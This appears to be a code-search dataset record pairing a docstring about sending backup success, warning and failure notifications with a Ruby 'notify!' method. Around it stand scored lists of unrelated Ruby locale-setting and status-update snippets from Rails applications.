"def set_locale\n\t\t\tif current_user.present? && current_user.locales.present? && current_user.locales.count == 1\n\t\t\t\tI18n.locale = params[:locale] || current_user.locales.first || I18n.default_locale\n\t\t\telse\n\t\t\t\tI18n.locale = params[:locale] || I18n.default_locale\n\t\t\tend\n\t\tend",
"def set_locale(locale = nil)\n current_user_language = current_user ? current_user.language : nil\n tlc = locale || current_user_language # || 'en'\n #logger.debug \"\\n===> #{tlc}\\n\"\n I18n.locale = tlc\n end",
"def set_locale\n end",
"def set_locale\n if (user_signed_in? && I18n.available_locales.include?(current_user.lang))\n # If a user is signed in, put the preferred language.\n I18n.locale = current_user.lang\n else\n # If there isn't a logged in user, use the default value\n # defined in config.\n I18n.locale = I18n.default_locale\n end\n return\n end",
"def set_locale\n I18n.locale = params[:locale]\n end",
"def set_locale\n I18n.locale = params[:locale]\n end",
"def set_locale\n I18n.locale = params[:locale]\n end",
"def set_locale\n I18n.locale = params[:locale] \n end",
"def set_locale\n @current_user = User.find_user(session)\n puts \"set_locale:params[:locale]=#{params[:locale]}\"\n if params[:locale]\n I18n.locale = params[:locale]\n session[:lng] = I18n.locale\n else\n unless @current_user.nil?\n puts \"set_locale:@current_user=#{@current_user} lng=#{@current_user.language}\"\n I18n.locale = @current_user.language\n else\n if session[:lng]\n I18n.locale = session[:lng]\n else\n I18n.locale = PlmServices.get_property(:LOCAL_DEFAULT)\n session[:lng] = I18n.locale\n end\n end\n end\n puts \"fin de set_locale\"\n end",
"def set_language\n\n if current_user.nil? || params[:controller] =~ /rails_admin/i\n I18n.locale = params[:language] || I18n.default_locale\n else\n I18n.locale = params[:language] || current_user.language.try(:iso_code) || I18n.default_locale\n end\n end",
"def set_locale\n if params[:locale].nil?\n if current_user && I18n.available_locales.include?(current_user.locale.to_sym)\n I18n.locale = current_user.locale\n else\n I18n.locale = I18n.default_locale\n end\n elsif I18n.available_locales.include? params[:locale].to_sym\n I18n.locale = params[:locale]\n else\n flash_now(:notice, I18n.t('locale_not_available', locale: params[:locale]))\n end\n end",
"def set_admin_locale\n I18n.locale = ActionAdmin.config.admin_locale || I18n.default_locale\n end",
"def set_locale\n rxp = Regexp.new('[a-zA-Z]{2}')\n user_locale = cookies[:locale] || params[:locale]\n user_locale = user_locale.present? ? user_locale.scan(rxp) : 'en'\n # Check, is this locale available for using.\n # Please note: this needed for disable invalid locale warning.\n available = I18n.available_locales.include?(user_locale[0].to_sym)\n I18n.locale = available ? user_locale[0] : 'en'\n end",
"def set_locale\n I18n.locale = get_locale_from_params || I18n.default_locale\n end",
"def set_locale\n I18n.locale = get_locale_from_params || I18n.default_locale\n end",
"def set_locale\n \tI18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n locale = request.subdomains.first\n locale = (logged_in? ?\n current_user.profile.language :\n browser_language) if locale.blank? || !I18n.available_locales.include?(locale.to_sym)\n I18n.locale = locale\n end",
"def set_gettext_locale_db\n params[:locale] ||= User.current.try(:locale)\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n\t\tfname= \"#{self.class.name}.#{__method__}\"\n\t\tLOG.debug(fname) {\">>>>\"}\n\t\t#puts \"set_locale:params[:locale]=#{params[:locale]}\"\n\t\tif params[:locale]\n\t\t\tI18n.locale = params[:locale]\n\t\t\tsession[:lng] = I18n.locale\n\t\telse\n\t\t\tunless @current_user.nil?\n\t\t\t\t#puts \"set_locale:@current_user=#{@current_user} lng=#{@current_user.language}\"\n\t\t\t\tI18n.locale = @current_user.language\n\t\t\telse\n\t\t\t\tif session[:lng]\n\t\t\t\t\tI18n.locale = session[:lng]\n\t\t\t\telse\n\t\t\t\t\tI18n.locale = PlmServices.get_property(:LOCAL_DEFAULT)\n\t\t\t\t\tsession[:lng] = I18n.locale\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tLOG.debug(fname) {\"<<<<session=#{session}\"}\n\tend",
"def set_locale\r\n I18n.locale = extract_locale_from_request\r\n end",
"def set_locale\r\n I18n.locale = extract_locale_from_request\r\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] if params[:locale].present?\n # \"en\"\n # params[:locale] if params[:locale].present?\n # current_user.locale\n # request.subdomain\n # request.env[\"HTTP_ACCEPT_LANGUAGE\"]\n # request.remote_ip\n end",
"def set_locale\n #I18n.locale = params[:lang] ? params[:lang] : I18n.default_locale\n end",
"def default_locale=(locale); end",
"def set_locale\n DmCore::Language.locale = (params[:locale].presence || current_account.preferred_default_locale)\n rescue I18n::InvalidLocale\n # if it's an invalid locale, append the default locale and try again\n # this also fixes the case of using simple link names on a home page.\n # So if home page is \"http://example.com\" and the link is <a href=\"calendar\">\n # then the link is \"http://example.com/calendar\", instead of \"http://example.com/en/calendar\"\n # This will allow that to work.\n redirect_to \"/#{current_account.preferred_default_locale}#{request.path}\"\n end",
"def set_locale\n I18n.locale = Rails.configuration.oyambre.languages.first\n end",
"def set_locale\n # if params[:locale] is nil then I18n.default_locale will be used\n I18n.locale = params[:locale]\n end",
"def set_locale\n I18n.locale = params[:locale] unless params[:locale].blank?\n end",
"def set_locale\n locale = params[:locale] || session[:locale] ||\n # (current_user.site_language if user_signed_in?) ||\n I18n.default_locale\n locale = AVAILABLE_LOCALES.keys.include?(locale) ? locale : I18n.default_locale\n session[:locale] = I18n.locale = locale\n end",
"def set_locale\n I18n.locale = params[:locale] || session[:locale] || I18n.default_locale\n \n #update session\n session[:locale] = I18n.locale\n #I18n.locale = current_user.locale if user_signed_in?\n # current_user.locale\n # request.domain\n # request.env[\"HTTP_ACCEPT_LANGUAGE\"]\n # request.remote_ip\n end",
"def set_locale\n if I18N_SUPPORTED_LOCALES.include?( params[:locale] )\n if logged_in?\n current_user.update_attribute(:locale, params[:locale])\n end\n session[:locale] = params[:locale]\n end\n redirect_back_or_default( root_url )\n end",
"def set_locale\n default_locale = 'en-US'\n Locale.set default_locale\n\n # fix the hostname to represent the reality \n # todo - move it so its only done once somehow\n APP_CONFIG[:hostname] = user_domain\n end",
"def set_locale\n default_locale = 'en-US'\n Locale.set default_locale\n\n # fix the hostname to represent the reality \n # todo - move it so its only done once somehow\n APP_CONFIG[:hostname] = user_domain\n end",
"def set_locale\n \tI18n.locale = params[:locale] if params[:locale].present? \n end",
"def set_locale\n case params[:locale]\n when \"it\", \"en\"\n I18n.locale = params[:locale]\n else\n I18n.locale = I18n.default_locale\n end\n end",
"def set_locale\n I18n.locale = params[:locale] unless params[:locale].blank?\n end",
"def set_locale\n return unless Language.current\n\n ::I18n.locale = Language.current&.locale\n end",
"def set_locale\n I18n.locale = I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\nend",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\nend",
"def set_locale\n # force by params\n if params[:locale] && WEB_LOCALES_SUPPORT.include?(params[:locale])\n I18n.locale = params[:locale]\n session[:locale] = params[:locale]\n cookies[:locale] = params[:locale]\n elsif session[:locale] && WEB_LOCALES_SUPPORT.include?(session[:locale])\n # get from session\n I18n.locale = session[:locale]\n elsif cookies[:locale] && WEB_LOCALES_SUPPORT.include?(cookies[:locale])\n # get from session\n I18n.locale = cookies[:locale]\n else\n I18n.locale = DEFAULT_WEB_LOCALE\n end\n\n @current_locale = I18n.locale\n @current_locale_string = t('locale.' + I18n.locale.to_s, default: 'Not define language')\n end",
"def locale=(locale); end",
"def set_locale\n if cookies[:locale].nil?\n if signed_in?\n I18n.locale = cookies[:locale] = current_user.language\n end\n #if not signed in, the locale will be the default (en)\n else\n I18n.locale = cookies[:locale]\n end\n end",
"def set_locale\n if params[:locale]\n I18n.locale = session[:locale] = params[:locale] || I18n.default_locale\n else\n I18n.locale = session[:locale] || I18n.default_locale\n end\n end",
"def locale=(value)\n @locale = value\n end",
"def locale=(value)\n @locale = value\n end",
"def set_locale\n I18n.locale = extract_locale_from_tld\n end",
"def set_locale\n if params[:set_locale]\n if I18n.available_locales.include?(params[:set_locale].to_sym)\n I18n.locale = params[:set_locale]\n else\n flash.now[:notice] = \"#{params[:set_locale]} translations not available\"\n logger.error flash.now[:notice]\n end\n end\n end",
"def set_translation\n if params[:locale].blank? && session[:current_locale].present?\n ::I18n.locale = session[:current_locale]\n elsif params[:locale].present? && ::I18n.available_locales.include?(params[:locale].to_sym)\n session[:current_locale] = ::I18n.locale = params[:locale]\n elsif current_alchemy_user && current_alchemy_user.respond_to?(:language) && current_alchemy_user.language.present?\n ::I18n.locale = current_alchemy_user.language\n else\n ::I18n.locale = request.env['HTTP_ACCEPT_LANGUAGE'].try(:scan, /^[a-z]{2}/).try(:first) || ::I18n.default_locale\n end\n end",
"def set_locale\n available = %w{en de}\n I18n.locale = params[:locale] || request.compatible_language_from(available)\n end",
"def set_locale\n I18n.select_locale( params[:locale], session[:locale], I18n.from_http_header(request) )\n logger.info \"Using language: #{I18n.locale}\"\n session[:locale] = I18n.locale\n end",
"def set_locale\n # Get the current path and request method (useful in the layout for changing the language)\n @current_path = request.env['PATH_INFO']\n @request_method = request.env['REQUEST_METHOD']\n\n # Try to get the locale from the parameters, from the session, and then from the navigator\n if params[:user_locale]\n # Store the locale in the session\n Locale.code = params[:user_locale][:code]\n session[:locale] = Locale.code\n elsif session[:locale]\n Locale.code = session[:locale]\n else\n Locale.code = local_case(get_valid_lang_from_accept_header)\n end\n\n logger.debug \"[globalite] Locale set to #{Locale.code}\"\n # render the page\n yield\n\n # reset the locale to its default value\n Locale.reset!\n end",
"def set_locale\n I18n.locale = \"fr\"\n end",
"def set_user_language\n cookies[:language] ||= '0'\n I18n.locale = LOCALES_AVAILABLE[cookies[:language].to_i]\n end",
"def set_locale \n I18n.locale = extract_locale_from_tld || I18n.default_locale\n end",
"def set_locale\n session[:locale] = params[:locale]\n session[:locale] ||= extract_locale_from_header\n# return switch_locale_and_redirect_to_referer if params[:locale].present?\n @locale = Locale.new session[:locale]\n I18n.locale = @locale.current\n end",
"def set_locale\n # session[:locale] = params[:locale] if params[:locale]\n # session[:locale] = \"zh\" if session[:locale].blank?\n # session[:locale] = \"zh\"\n # I18n.locale = session[:locale] || I18n.default_locale\n I18n.locale = 'zh'\n end",
"def set_i18n\n if params[:locale]\n if I18n.available_locales.include?(params[:locale].to_sym)\n I18n.locale = params[:locale]\n else\n flash.now[:notice] = \"#{params[:locale]} not available\"\n logger.error flash.now[:notice]\n end\n end\n end",
"def locale=(value); end",
"def set_locale\n @locale = Locale.find(params[:id])\n end",
"def set_locale\n if request.subdomain == 'en'\n I18n.locale = request.subdomain\n else\n I18n.locale = params[:locale] || I18n.default_locale\n end\n end",
"def set_language\n I18n.locale = params[:locale] || I18n.default_locale\n @lang = Wzs::Multilang::get_language(I18n.locale)\n end",
"def set_locale\n I18n.locale = extract_locale || session[:locale] || I18n.default_locale\n session[:locale] = I18n.locale\n end",
"def set_locale\n I18n.locale = extract_locale_from_accept_language_header || I18n.default_locale\n # I18n.locale = params[:locale] if params[:locale].present?\n end",
"def set_locale\n \n #raise \"params[:locale] = #{params[:locale].present?}\"\n #raise \"params[:locale] = #{params[:locale].blank?}\"\n # Se non ho assegnato il parametro :locale allora gli passo la lingua impostata sul browser \n # (per testare usa Google chrome Extension: Locale Switcher)\n params[:locale] = request.env.fetch('HTTP_ACCEPT_LANGUAGE', '').scan(/[a-z]{2}/).first if params[:locale].blank?\n #raise \"params[:locale] = #{params[:locale]}\"\n\n case params[:locale]\n when \"it\", \"en\"\n I18n.locale = params[:locale]\n else\n I18n.locale = I18n.default_locale\n end\n end",
"def set_locale\n I18n.locale = if cookies[:locale].present? and I18n.available_locales.include?(cookies[:locale])\n cookies[:locale]\n elsif user_signed_in?\n current_user.preferred_language\n else\n env.http_accept_language.compatible_language_from(I18n.available_locales)\n end\n end",
"def set_locale\n if params[:locale]\n cookies[:locale] = params[:locale]\n redirect_to request.referer || root_url\n end\n I18n.locale = cookies[:locale] || I18n.default_locale\n end",
"def set_locale\n # if params[:locale] is nil then I18n.default_locale will be used\n I18n.locale = 'en'\n\n # if params[:locale].present? || session[:locale].present?\n # session[:locale] = params[:locale] if params[:locale].present?\n # I18n.locale = session[:locale]\n # else\n # logger.debug \"* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}\"\n # I18n.locale = extract_locale_from_accept_language_header\n # logger.debug \"* Locale set to '#{I18n.locale}'\"\n # end\n end",
"def set_locale\n I18n.default_locale = :pt_BR\n I18n.locale = params[:locale] unless params[:locale].blank?\n I18n.locale = I18n.default_locale if params[:locale].blank?\n end",
"def set_locale\n I18n.locale = cookies[:locale] || params[:locale] || http_accept_language.compatible_language_from(I18n.available_locales) || I18n.default_locale\n end"
] |
[
"0.8474383",
"0.8474383",
"0.8311592",
"0.83046657",
"0.82548475",
"0.82160515",
"0.81579983",
"0.809985",
"0.8067449",
"0.8052016",
"0.80170393",
"0.79396313",
"0.7939481",
"0.7905847",
"0.79028124",
"0.78879565",
"0.786118",
"0.78127116",
"0.78127116",
"0.7800808",
"0.7783689",
"0.7753975",
"0.7705376",
"0.7684669",
"0.7657126",
"0.7634666",
"0.7634666",
"0.7629012",
"0.76219827",
"0.76081496",
"0.75941175",
"0.75941175",
"0.75941175",
"0.75941175",
"0.75941175",
"0.75941175",
"0.75941175",
"0.75941175",
"0.75941175",
"0.75941175",
"0.75941175",
"0.75941175",
"0.75941175",
"0.75941175",
"0.7587538",
"0.75866544",
"0.75748354",
"0.7571405",
"0.7571405",
"0.7571405",
"0.7571405",
"0.7557504",
"0.75384164",
"0.75356644",
"0.7522216",
"0.75201195",
"0.7499598",
"0.7494185",
"0.7482534",
"0.74773145",
"0.74719304",
"0.74646556",
"0.74646556",
"0.74560314",
"0.74158704",
"0.7396958",
"0.73933405",
"0.735648",
"0.7350439",
"0.7350439",
"0.73371065",
"0.73178387",
"0.72982055",
"0.7295945",
"0.72871244",
"0.72871244",
"0.72534513",
"0.7242832",
"0.72347337",
"0.7231026",
"0.721755",
"0.7204336",
"0.72026485",
"0.718875",
"0.7178786",
"0.7175564",
"0.71627456",
"0.7151398",
"0.7150553",
"0.71390456",
"0.71288884",
"0.70956576",
"0.7075655",
"0.7058606",
"0.70565814",
"0.70546746",
"0.7051046",
"0.70479786",
"0.7036716",
"0.70340455"
] |
0.853465
|
0
|
Notify the user of the backup operation results. `status` indicates one of the following: `:success` : The backup completed successfully. : Notification will be sent if `on_success` was set to `true` `:warning` : The backup completed successfully, but warnings were logged : Notification will be sent, including a copy of the current : backup log, if `on_warning` was set to `true` `:failure` : The backup operation failed. : Notification will be sent, including the Exception which caused : the failure, the Exception's backtrace, a copy of the current : backup log and other information if `on_failure` was set to `true`
|
def notify!(status)
name = case status
when :success then 'Success'
when :warning then 'Warning'
when :failure then 'Failure'
end
message = '[Backup::%s]' % name
send_message(message)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def notify!(status)\n name, color = case status\n when :success then ['Success', success_color]\n when :warning then ['Warning', warning_color]\n when :failure then ['Failure', failure_color]\n end\n message = \"[Backup::%s] #{@model.label} (#{@model.trigger})\" % name\n send_message(message, color)\n end",
"def notify!(status)\n name = case status\n when :success then 'Success'\n when :warning then 'Warning'\n when :failure then 'Failure'\n end\n message = \"[Backup::%s] #{@model.label} (#{@model.trigger}) (@ #{@model.time})\" % name\n send_message(message)\n end",
"def notify!(status)\n incident_description = \"Backup - #{model.label}\"\n incident_key = \"backup/#{model.trigger}\"\n incident_details = {\n incident_key: incident_key,\n details: {\n trigger: model.trigger,\n label: model.label,\n started_at: model.started_at,\n finished_at: model.finished_at,\n duration: model.duration,\n status: status,\n exception: model.exception\n }\n }\n\n event_type = case status\n when :success then :resolve\n when :warning then resolve_on_warning ? :resolve : :trigger\n when :failure then :trigger\n end\n\n case event_type\n when :trigger\n pagerduty.trigger(incident_description, incident_details)\n when :resolve\n incident = pagerduty.get_incident(incident_key)\n incident.resolve(incident_description, incident_details)\n end\n end",
"def notify!(status)\n send_message \"[Backup::%s] #{@model.label} (#{@model.trigger})\" % status.to_s.capitalize\n end",
"def notify_status(status)\n notify(\"STATUS=#{status}\")\n end",
"def notify!(status)\n email = ::Mail.new\n email.to = to\n email.from = from\n email.cc = cc\n email.bcc = bcc\n email.reply_to = reply_to\n email.subject = message.call(model, status: status_data_for(status))\n\n # By default, the `mail` gem doesn't include BCC in raw output, which is\n # needed for SES to send to those addresses.\n email[:bcc].include_in_headers = true\n\n send_log = send_log_on.include?(status)\n template = Backup::Template.new(model: model, send_log: send_log)\n email.body = template.result(sprintf(\"notifier/mail/%s.erb\",\n status.to_s))\n\n if send_log\n email.convert_to_multipart\n email.attachments[\"#{model.time}.#{model.trigger}.log\"] = {\n mime_type: \"text/plain;\",\n content: Logger.messages.map(&:formatted_lines).flatten.join(\"\\n\")\n }\n end\n\n send_opts = {\n raw_message: {\n data: email.to_s\n }\n }\n\n if email.respond_to?(:destinations)\n send_opts[:destinations] = email.destinations\n end\n\n client.send_raw_email(send_opts)\n end",
"def notify!(status)\n msg = message.call(model, status: status_data_for(status))\n\n hash = { alert_type: default_alert_type(status) }\n hash.store(:msg_title, @title)\n hash.store(:date_happened, @date_happened) if @date_happened\n hash.store(:priority, @priority) if @priority\n hash.store(:host, @host) if @host\n hash.store(:tags, @tags) if @tags\n hash.store(:aggregation_key, @aggregation_key) if @aggregation_key\n hash.store(:source_type_name, @source_type_name) if @source_type_name\n hash.store(:alert_type, @alert_type) if @alert_type\n send_event(msg, hash)\n end",
"def notify!(status)\n send_message(message.call(model, status: status_data_for(status)))\n end",
"def notify_update_callbacks status, result\n\t\t\t@update_callbacks.each do |cb|\n\t\t\t\tbegin\n\t\t\t\t\tcb.call status, result\n\t\t\t\trescue => e\n\t\t\t\t\tlog_e e, \"Error calling an update callback\"\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def report_progress\n backup_size = (@backup.size + @backup.wal_file_size) / 1024 ** 2\n du = target_path_exists? ? target_path_disk_usage / 1024 ** 2 : 0\n percent = du.to_f / backup_size.to_f * 100\n percent = 100.0 if percent >= 100.0\n message = \"#{percent.to_i}% of Backup #{@backup.id} (#{@backup.server}) recovered\" \n at(percent.to_i, 100, message)\n @log.info(message)\n end",
"def render_notification(status, success_message_key: \"#{params[:action]} succeeded\", failure_message_key: \"#{params[:action]} failed\", now: false)\n if now == true\n flash_target = flash.now\n else\n flash_target = flash\n end\n\n if status\n flash_target[\"success\"] = { \"id\" => \"resource_status\", \"message\" => I18n.t(success_message_key, scope: notice_scope_name) }\n else\n flash_target[\"error\"] = { \"id\" => \"resource_status\", \"message\" => I18n.t(failure_message_key, scope: notice_scope_name) }\n end\n end",
"def backup_finished!(info)\n bs = backup_state || build_backup_state\n bs.finished! info\n \n # Email member 1st time there is data for timeline\n if bs.first_time_data_available?\n # Send email in background\n spawn { BackupNotifier.deliver_timeline_ready(self) }\n end\n end",
"def backup_status_desc\n status = if !confirmed?\n 'Authentication Required'\n elsif active?\n if lb = latest_backup\n lb.successful? ? 'OK' : 'Failed'\n else\n 'OK'\n end\n else\n 'Inactive'\n end\n if (status == 'Failed') && backup_broken?\n status = EternosBackup::BackupSourceError.new(self).short_error\n end\n status\n end",
"def on_backup_complete(info={})\n unless info[:errors]\n # Reset error notification count after succesful backups\n update_attributes(:error_notifications_sent => 0, :auth_error => nil)\n end\n update_last_backup_times\n \n member.backup_finished!(info)\n end",
"def email_status_change_notices\n return if previously_published?\n\n case status\n when 'published', 'embargoed'\n StashEngine::UserMailer.status_change(resource, status).deliver_now\n StashEngine::UserMailer.journal_published_notice(resource, status).deliver_now\n when 'peer_review'\n StashEngine::UserMailer.status_change(resource, status).deliver_now\n StashEngine::UserMailer.journal_review_notice(resource, status).deliver_now\n when 'submitted'\n\n # Don't send multiple emails for the same resource, or for submission made by curator\n return if previously_submitted?\n\n StashEngine::UserMailer.status_change(resource, status).deliver_now\n when 'withdrawn'\n return if note.include?('final action required reminder') # this has already gotten a special withdrawal email\n\n if user_id == 0\n StashEngine::UserMailer.user_journal_withdrawn(resource, status).deliver_now\n else\n StashEngine::UserMailer.status_change(resource, status).deliver_now\n end\n end\n end",
"def send_status_report\n\t\treport = {\n\t\t\tversion: Assemblage::VERSION,\n\t\t\tstatus: self.status,\n\t\t\tuptime: self.uptime\n\t\t}\n\n\t\tmessage = Assemblage::Protocol.encode( :status_report, report )\n\n\t\tself.send_message( message )\n\tend",
"def send_status\n remote_request Net::HTTP::Post, \"api/status/#{self.name}\", { :status => JSON.generate(status) }\n rescue StandardError => e\n log \"Sending status to #{@config[:monitor_url]} failed\"\n log \"Error: #{e}\"\n end",
"def status_transfer\n if status_changed? && status_changed?(from: \"finish\")\n errors.add(:base, \"错误的操作\")\n end\n end",
"def update_status\n begin\n if self.service_test.status_changed?\n results = self.service_test.test_results.last(2)\n unless results.empty?\n case results.length\n when 1\n previous = TestResult.new_with_unknown_status\n when 2\n previous = results[0] \n end\n \n if USE_EVENT_LOG\n \n service = self.service_test.service\n \n ActivityLog.create(:action => \"status_change\",\n :data =>{:current_result_id => self.id, :previous_result_id =>previous.id },\n :activity_loggable => self.service_test,\n :referenced => service)\n \n current_status = ServiceCatalographer::Monitoring::TestResultStatus.new(self)\n previous_status = ServiceCatalographer::Monitoring::TestResultStatus.new(previous)\n \n \n if ENABLE_TWITTER\n ServiceCatalographer::Util.say \"Called TestResult#update_status. A status change has occurred so submitting a job to tweet about...\"\n msg = \"Service '#{ServiceCatalographer::Util.display_name(service)}' has a test change status from #{previous_status.label} to #{current_status.label} (#{self.created_at.strftime(\"%Y-%m-%d %H:%M %Z\")})\"\n Delayed::Job.enqueue(ServiceCatalographer::Jobs::PostTweet.new(msg), :priority => 0, :run_at => 5.seconds.from_now)\n end\n \n unless MONITORING_STATUS_CHANGE_RECIPIENTS.empty?\n status_recipients_emails = MONITORING_STATUS_CHANGE_RECIPIENTS.dup\n \n if NOTIFY_SERVICE_RESPONSIBLE\n status_recipients_emails = status_recipients_emails + self.responsible_emails\n end\n ServiceCatalographer::Util.say \"Called TestResult#update_status. A status change has occurred so emailing the special set of recipients about it...\"\n subject = \"[#{SITE_NAME}] Service '#{ServiceCatalographer::Util.display_name(service)}' has a test change status from #{previous_status.label} to #{current_status.label}\"\n text = \"A monitoring test status change has occurred! Service '#{ServiceCatalographer::Util.display_name(service)}' has a test (#{self.service_test.test_type}, ID: #{self.service_test.test_id}) change status from #{previous_status.label} to #{current_status.label}. Last test result message: #{current_status.message}. Go to Service: #{ServiceCatalographer::Api.uri_for_object(service)}\"\n Delayed::Job.enqueue(ServiceCatalographer::Jobs::StatusChangeEmails.new(subject, text, status_recipients_emails), :priority => 0, :run_at => 5.seconds.from_now)\n end\n \n end\n end\n end\n rescue Exception => ex\n logger.error(\"There was problems updating the status for service test : #{self.service_test.id}\")\n logger.error(ex)\n end\n end",
"def status\n { 'status' => success ? 'sent' : 'failed' }\n end",
"def send_status_notification\n message = case @state\n when :hungry then \"I'm hungry!!!\"\n when :sick then \"I'm not feeling so well... :(\"\n when :playful then 'Come play with me!'\n end\n\n DesktopNotifications.notify(message) unless message.nil?\n end",
"def log_current_status(status)\n message = \"#{task_details_for_log}, status: #{status}\"\n if (UNDEFINED_STATUSES + STOPED_STATUSES).include?(status)\n Astute.logger.error message\n else\n Astute.logger.debug message\n end\n end",
"def say_status(status, color)\n base.shell.say_status(status, path, color) if verbose?\n end",
"def on_complete(status, _params)\n puts \"#{status.total} was processed\"\n end",
"def status\n { history: @history.recent(5),\n uploading: @uploader.status,\n host: @uploader.host,\n pending: pending_status_to_hash,\n upload_at: 'See Cron' }\n end",
"def say_status(status, color)\n base.shell.say_status(status, dir, color) if verbose?\n end",
"def perform\n result = \"#{self.name}: status is correct\"\n begin\n remote = remote_status\n current = status\n if remote != current\n result = \"#{self.class.to_s} lost status: remote=#{remote}, current=#{current}\"\n Rails.logger.debug(result)\n after_save_callback\n end\n rescue => exception\n result = exception.message\n end\n result\n end",
"def update_status(status)\n @status = status\n @last_status_change = Time.now\n update_statusfile\n end",
"def change_status\n\n res = RResponse.new\n\n order = Order.find_by_id(params[:id])\n order.shipping_status_id = params[\"shipping_status_id\"]\n begin\n order.save\n res.success = true\n res.msg = 'Changed order status to \"' + order.status.name + '\"'\n\n # log this\n type = OrderLogType.find_by_name('status')\n log = OrderLog.create(:account_id => current_user.account.id, :order_log_type_id => type.id, :order_id => order.id, :subject => 'Order Status', :msg => res.msg)\n res.add_action(RAction.new({\n :component_id => 'order-log-' + params[:id],\n :success => true,\n :data => {:log => log.to_a}\n })) \n end\n\n respond(res)\n\n end",
"def status=(status)\n check_exists\n oldstatus = SideJob.redis.getset(\"#{redis_key}:status\", status)\n if oldstatus != status && worker_config['status_publish'] != false\n SideJob::Port.group(log: false) do\n publish({status: status})\n end\n end\n end",
"def set_new_state_after_notify(was_successful, event, status)\n unless status.attending?\n if was_successful\n if event.event?\n status.not_responded!\n else\n status.delivered!\n end\n else\n status.not_delivered!\n end\n status.save\n end\n end",
"def status\n # ensure status is boolean\n status = (params[:status] == 1 || params[:status] == true) ? true : false\n\n changed = Supervise.find_by(vm_id: params[:vm_id], techno_id: params[:techno_id]).change_status(status)\n if changed == 1\n SuperviseMailer.supervise_email(@user, Vm.find(params[:vm_id]), Techno.find(params[:techno_id]), status).deliver\n end\n\n render nothing: true\n end",
"def notify(success)\n message = if success\n \"Successfully upgraded all the things! (#{Time.now.strftime(\"%H:%M, %-d %b\")})\"\n else\n 'Failed to upgrade all the things :('\n end\n osx_notify message\n success && $stderr.tty? && lol_notify(message) || $stderr.puts(message)\n end",
"def update_status\n return nil if !@on_status\n rows_count = Knj::Locales.number_out(@rows_count, 0)\n rows_count_total = Knj::Locales.number_out(@rows_count_total, 0)\n percent = (@rows_count.to_f / @rows_count_total.to_f) * 100\n percent_text = Knj::Locales.number_out(percent, 1)\n @on_status.call(:text => \"Dumping table: '#{@table_obj.name}' (#{rows_count}/#{rows_count_total} - #{percent_text}%).\")\n end",
"def on_status(&f)\n @on_status = f\n end",
"def status\n {\n 'body' => 'Service is up!'\n }\n end",
"def update_status status\n @job.set({\n custom_status: status,\n pinged_at: Time.now\n })\n end",
"def update_status\n\n command = params[:status].to_sym\n case command\n when :setup, :start, :abort, :terminate\n @project.send(\"#{command}_done!\")\n when :stop\n @project.stop_done!\n # save return result data\n raw_data = params[:data]\n results = JSON.parse(raw_data)\n results.each {|result| LoadTest.create!(result.merge(project_id: @project.id))}\n\n when :download, :export\n result_download_parms = {}\n result_download_parms[:status] = 1\n ProjectResultDownload.update(params[:request_id], result_download_parms)\n\n when :status\n status_data = params[:status_data]\n unless status_data.blank?\n if JSON.parse(status_data).empty?\n if @project.may_stop?\n submit_process(:stop)\n @project.stop! # TODO refactor as a :before callback to events\n end\n end\n end\n else\n raise \"Unknown command for status update: #{command}\"\n end\n\n flash[:success] = \"#{command} completed successfully!\"\n render nothing: true\n end",
"def firecloud_api_notification(current_status, requester=nil)\n unless Rails.application.config.disable_admin_notifications == true\n @admins = User.where(admin: true).map(&:email)\n @requester = requester.nil? ? 'no-reply@broadinstitute.org' : requester\n @current_status = current_status\n unless @admins.empty?\n mail(to: @admins, reply_to: @requester, subject: \"[Unity Admin Notification#{Rails.env != 'production' ? \" (#{Rails.env})\" : nil}]: ALERT: FIRECLOUD API SERVICE INTERRUPTION\") do |format|\n format.html\n end\n end\n end\n end",
"def update_status\n return nil unless @on_status\n rows_count = Knj::Locales.number_out(@rows_count, 0)\n rows_count_total = Knj::Locales.number_out(@rows_count_total, 0)\n percent = (@rows_count.to_f / @rows_count_total.to_f) * 100\n percent_text = Knj::Locales.number_out(percent, 1)\n @on_status.call(text: \"Dumping table: '#{@table_obj.name}' (#{rows_count}/#{rows_count_total} - #{percent_text}%).\")\n end",
"def status=(status)\n @_status = status\n end",
"def status=(status)\n @_status = status\n end",
"def on_status(&block)\n @on_status = block\n end",
"def on_status(&block)\n @on_status = block\n end",
"def status_updated\n new_status = params[:new_status]\n id = params[:id]\n application = EventApplication.find_by(user_id: id)\n application.status = new_status\n application.save(:validate => false)\n flash[:success] = \"Status successfully updated.\"\n\n redirect_to event_application_path(application)\n\n\n\n # Send email when status changes.\n if new_status == 'accepted'\n UserMailer.accepted_email(application.user).deliver_now\n elsif new_status == 'denied'\n UserMailer.denied_email(application.user).deliver_now\n else\n UserMailer.waitlisted_email(application.user).deliver_now\n end\n end",
